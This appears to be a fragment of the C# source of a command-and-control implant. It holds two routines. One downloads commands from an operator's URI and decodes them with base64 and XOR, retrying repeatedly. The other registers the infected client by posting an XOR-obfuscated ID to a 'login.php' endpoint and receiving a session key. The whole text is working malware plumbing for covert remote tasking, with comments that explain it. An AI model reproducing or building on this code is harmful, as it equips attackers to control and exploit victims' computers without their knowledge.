/* * <explanation> * Send GET request to speficied uri and return response as command. * </explanation> */ public string _getCommand(String uri, System.Net.WebClient web, initialEnum enumEnv, Chiper chipops) { try { comm = web.DownloadString(uri); string clearedComm = Regex.Replace(comm, @"^\s+$[\r\n]*", string.Empty, RegexOptions.Multiline); string decodedComm = chipops._xorOps(chipops._base64decode(clearedComm), enumEnv.xorKey); return(decodedComm); } catch { while (true) { if (errorCounter > 19) { break; } System.Threading.Thread.Sleep(enumEnv.waitTime); try { comm = web.DownloadString(uri); string clearCommand = chipops._xorOps(chipops._base64decode(comm), enumEnv.xorKey); return(clearCommand); } catch { errorCounter++; } } errorCounter = 0; return(""); } }
/* * <explanation> * First stage of registration process. * In this stage, client sends a GET request to login.php. * If "OK" returns by server second stage of registration process will start. * </explanation> */ private void _registerFirstStage(initialEnum enumed) { if (errorCounter < 20) { _setID(ref enumed); string sid = chiperObj._base64encode(chiperObj._xorOps(enumed.clientID, "northstar")); web.Headers[System.Net.HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; try { string myParameters = "sid=" + sid; string stat = web.UploadString(Globals.registerFirstStageUri, myParameters); enumed.xorKey = chiperObj._xorOps(chiperObj._base64decode(stat), Globals.tempKey); errorCounter = 0; _registerSecondStage(ref enumed); } catch { errorCounter += 1; System.Threading.Thread.Sleep(5000); _registerFirstStage(enumed); } } else { isComplete = false; } }